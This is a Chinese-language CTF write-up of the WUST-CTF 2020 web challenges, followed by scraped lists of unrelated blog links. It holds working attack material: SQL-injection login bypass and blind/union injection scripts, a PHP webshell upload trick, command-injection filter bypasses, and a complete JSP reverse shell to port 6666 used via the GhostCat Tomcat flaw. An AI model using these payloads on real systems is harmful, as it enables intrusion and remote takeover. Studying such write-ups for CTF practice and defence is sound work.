[WUST-CTF]Web WriteUp
周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的。最后有幸拿了总排第5,记录一下Web的题解。
checkin
进入题目询问题目作者昵称,在题面里可以看到是52HeRtz,但是发现题目输入框只能输入3个字符,并且按钮是灰色的
直接F12审查元素去掉maxlength以及disable两个属性,输入作者昵称即可
弹出作者的博客地址,跟进去
在作者博客首页可以看到一部分Flag:
根据提示“远古的博客”,找到一篇1970年的文章,文章末尾有后半段Flag:
Here is your flag: 5_a_c@nner_can_Can_@_can}
得到Flag:
wctf2020{can_y0u_can_a_can_a5_a_c@nner_can_Can_@_can}
admin
进入题目后发现是一个登陆界面,尝试万能密码登陆成功: admin@1' or 1=1#
进入http://101.200.53.102:12333/adddddddddddddddddddddddminnnnnnnnnnnnnnnnnnnnnn.php页面
提示必须本地ip才能访问,添加XFF头: X-Forwarded-For: 127.0.0.1
又提示用GET方式传一个参数ais, 值为520,GET传值: ?ais=520
又提示用POST方式传一个参数wust, 值为1314,POST传值: wust=1314
最后得到:你离flag已经很近了,网址给你了: 4dz aste.ubuntu.com/p/ https://p Rqr cSf2
wctf2020{n0w_you_kn0w_the_basic_0f_sql_and_http}
CV Maker
进入题目发现是一个CMS,随便注册一个账号进入个人主页,发现有上传点:
这个按钮很僵硬,直接上传php文件(这里发现没有过滤,有点困惑),但是后端有 exif_imagetype()验证,直接在文件头添加GIF89a上传得到Shell
连接Shell,发现根目录下有/readflag,运行得到Flag:
Flag:
wctf2020{congratulation_upl0ad_to_getShe1111111}
朴实无华
进入题目什么都没有,根据“人间极乐bot”字样猜测Robots.txt文件中有hint:
User-agent: *
Disallow: /fAke_f1agggg.php
根据提示进入/fAke_f1agggg.php,在Header中发现fl4g.php,访问得到源码:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__); //level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
} //get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
第一层:利用PHP弱类型 num=202.0e8
官方Wp解析:这个比较常见了,intval() 在处理16进制时存在问题,但强制转换时是正常的,intval(字符串)为0,但是intval(字符串+1) 会自动转换成数值的,php7里面修复了这个东西,这里输入 0x1234 即可绕过。
第二层:爆破Md5,要求明文必须为0e开头,md5值必须为0e开头,并且0e后必须为纯数字,写个脚本慢慢爆破吧:
import hashlib
def md5_enc(s):
m = hashlib.md5()
m.update(str(s).encode('utf-8'))
return m.hexdigest() for i in range(0,9999999999):
i = '0e' + str(i)
enc = md5_enc(i)
print(i+" md5 is "+enc)
#md5值前两位为0e
if enc[:2] == "0e":
#md5值0e后为纯数字
if enc[2:].isdigit():
result.append(i)
print("Got Result:"+i)
break
跑了40分钟得到一个值:md5 = 0e215962017
第三层:可以用\的方式绕过对Cat的检测,用 $IFS$9 来代替空格(也可以用more head等语句代替cat读取文件,方法太多)
ca\t$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
得到Flag:
wctf2020{s1mple_php_1s_v3ry_e@sy_and_here_1s_y0ur_stupid_flag_wish_u_h@ve_@_go0d_time_enj0y_1t}
easyweb
进入题目发现是一个可以上传文件并下载的网站:
简单测试一下发现是Tomcat/8.5.42,并且8009端口开放,很容易联想到前段时间爆出的tomcat幽灵猫(GhostCat) CVE-2020-1938.
最大的难点在于exp脚本大多都是文件读取的,没有文件包含的比较少,分享一个:
链接:https://pan.baidu.com/s/101wFmK1J0OGYRC383fdBBA
提取码:xg4s
利用思路就是在12121端口的上传点传入jsp木马,然后再利用幽灵猫的exp从8009端口包含jsp木马,包含的时候木马也就会被服务器解析,从而GetShell
分享一个队里师傅用的反弹Shell的jsp脚本:
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%> <%
class StreamConnector extends Thread
{
InputStream pp;
OutputStream qk; StreamConnector( InputStream pp, OutputStream qk )
{
this.pp = pp;
this.qk = qk;
} public void run()
{
BufferedReader qe = null;
BufferedWriter ihb = null;
try
{
qe = new BufferedReader( new InputStreamReader( this.pp ) );
ihb = new BufferedWriter( new OutputStreamWriter( this.qk ) );
char buffer[] = new char[];
int length;
while( ( length = qe.read( buffer, 0, buffer.length ) ) > 0 )
{
ihb.write( buffer, 0, length );
ihb.flush();
}
} catch( Exception e ){}
try
{
if( qe != null )
qe.close();
if( ihb != null )
ihb.close();
} catch( Exception e ){}
}
} try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
} Socket socket = new Socket( "IP", 6666 );
Process process = Runtime.getRuntime().exec( ShellPath );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
执行效果如下:
(想复现的时候环境出了问题,反弹Shell会连接重置,所以直接从官方Wp借了一张图)
可以在根目录上找到 flaaaag 目录,目录里有 what_you_want 文件,执行命令 cat /flaaaag/what_you_want 即可读到flag:
wctf2020{0h_you_are_amazing_babyyyy}
颜值成绩查询
进入题目发现是一个查询成绩的页面,明显的SQL注入:
fuzz了一下发现过滤了 空格、union
简单绕过,用/**/替代空格,双写union即可绕过过滤,贴上队里forever404师傅的exp:
#database = ctf
#table_one = flag
#table_two = score
#column_one = flag
#column_two = value
import requests
url = 'http://101.200.53.102:10114/?stunum=0/**/or/**/ascii(substr((select/**/value/**/from/**/flag),{},1))={}#'
flag = ''
for m in range(1,50):
for n in range(48,126):
res = requests.get(url.format(m,n))
if 'admin' in res.text:
flag += chr(n)
print(chr(n))
break
if n==125 and 'admin' not in res.text:
break
print(flag)
也可以联合注入:
数据库:0/**/uniunionon/**/select/**/1,database(),version()#
表:0/**/uniunionon/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
列名:0/**/uniunionon/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167#
字段:0/**/uniunionon/**/select/**/1,flag,value/**/from/**/flag#
得到Flag:
wctf2020{e@sy_sq1_and_y0u_sc0re_1t}
train yourself to be godly
本次比赛Web唯一没有做出来的一道题,但是就差最后一步,比赛结束了,有点遗憾,队里的guoke师傅最后10分钟成为了本题的唯一解出
赛后复现一下,填满遗憾吧- -||
这里放出队里guoke师傅的WriteUp(guoke别说我偷你wp了,注明作者了!!!):
根据官方给出的BlackHat议题PPT可以得知利用 ..;/ 可以穿越目录:
tomcat@tomcat弱口令进入manager/html 在进行用户名密码验证的时候。发现会返回一个cookie。但是后面请求又没有带上这个cookie。
并且,在本地复现tomcat war包getshell时,发现HTTP请求中都带了HTTP authorxxxxx的认证 带上cookie和HTTP头认证后上传后发现还是403。
猜测和返回cookie的path有关。因为正常情况。直接访问/manager返回path=/manager。而我是通过目录遍历访问的。所以将path也改为/..;/manager
在部署的时候加上之前的SESSION,即可成功上传并访问木马:
得到Flag:
wctf2020{th1s_1s_th3_m0st_e@sy_web}
[WUST-CTF]Web WriteUp的更多相关文章
- 攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup
攻防世界 WEB 高手进阶区 TokyoWesterns CTF shrine Writeup 题目介绍 题目考点 模板注入 Writeup 进入题目 import flask import os a ...
- ISG 2018 Web Writeup
作者:agetflag 原文来自:ISG 2018 Web Writeup ISG 2018 Web Writeup CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难 calc 首 ...
- Crypto CTF 2019 writeup
Crypto CTF 2019 writeup roXen 题目 roXen Relationship with a cryptographer! The Girlfriend: All you ev ...
- [SHA2017](web) writeup
[SHA2017](web) writeup Bon Appétit (100) 打开页面查看源代码,发现如下 自然而然想到php伪协议,有个坑,看不了index.php,只能看 .htaccess ...
- 31C3 CTF web关writeup
0x00 背景 31c3 CTF 还是很人性化的,比赛结束了之后还可以玩.看题解做出了当时不会做的题目,写了一个writeup. 英文的题解可以看这:https://github.com/ctfs/w ...
- CTF web安全45天入门学习路线
前言 因为最近在准备开发CTF学习平台,先做一个学习路线的整理,顺便也是对想学web的学弟学妹的一些建议. 学习路线 初期 刚刚走进大学,入了web安全的坑,面对诸多漏洞必然是迷茫的,这时的首要任务就 ...
- i春秋CTF web题(1)
之前边看writeup,边做实验吧的web题,多多少少有些收获.但是知识点都已记不清.所以这次借助i春秋这个平台边做题,就当记笔记一样写写writeup(其实都大部分还是借鉴其他人的writeup). ...
- CTF web题型解题技巧
工具集 基础工具:Burpsuite,python,firefox(hackbar,foxyproxy,user-agent,swither等) 扫描工具:nmap,nessus,openvas sq ...
- ctf题目writeup(7)
2019.2.10 过年休息归来,继续做题. bugku的web题,地址:https://ctf.bugku.com/challenges 1. http://123.206.87.240:8002/ ...
随机推荐
- Android常用布局和控件
一.Android常用布局属性 1. LinearLayout的特有属性 android:orientation:设置布局排列方式 android:layout_weight:设置所占布局的权重 ...
- JS 移动端笔记
移动端的网页特效 移动端触屏事件概述 触屏touch事件 touchstart 手指触摸到一个DOM元素时触发 touchmove 手指在一个DOM上滑动时触发 tou ...
- 性能分析(4)- iowait 使用率过高案例
性能分析小案例系列,可以通过下面链接查看哦 https://www.cnblogs.com/poloyy/category/1814570.html 前言 前面两个案例讲的都是上下文切换导致的 CPU ...
- C#LeetCode刷题之#387-字符串中的第一个唯一字符(First Unique Character in a String)
问题 该文章的最新版本已迁移至个人博客[比特飞],单击链接 https://www.byteflying.com/archives/3939 访问. 给定一个字符串,找到它的第一个不重复的字符,并返回 ...
- Scss 定义内层class的简单写法
如果定义样式的时候,内层样式名称和外层保持一致的话可以简写如下 如果一个样式下有相关的其他样式可以使用 &-xxx 来简写, <template> <div class=&q ...
- 剑指Offer——II平衡二叉树
class TreeNode: def __init__(self, x): self.val = x self.left = None self.right = None # 这道题使用中序遍历加上 ...
- 数据库迁移神器——Flyway
不知道你有没有遇到过这种场景,一套代码部署在不同的环境中,随着时间的过去,各个环境代码有版本差异,代码层面可以通过不同的版本来控制,但是数据库层面经常容易忘记更新! 前言 比如刚开始环境 A 和环境 ...
- Python基础入门知识点——Python中的异常
前言 在先前的一些章节里你已经执行了一些代码,你一定遇到了程序“崩溃”或因未解决的错误而终止的情况.你会看到“跟踪记录(traceback)”消息以及随后解释器向你提供的信息,包括错误的名称.原因和发 ...
- vob文件转mkv
下载了一部片子,是所谓的dvd原盘,就是用软件将dvd碟片rip下来,视频文件是一堆vob文件.觉得这片子没必要看原盘,想压缩成mkv以减小体积,同时保持合适的清晰度. 首先想到用handbrake这 ...
- PythonCrashCourse 第七章习题
编写一个程序,询问用户要租赁什么样的汽车,并打印一条消息,如"Let me see if I can find you a Subaru" car =input("Wha ...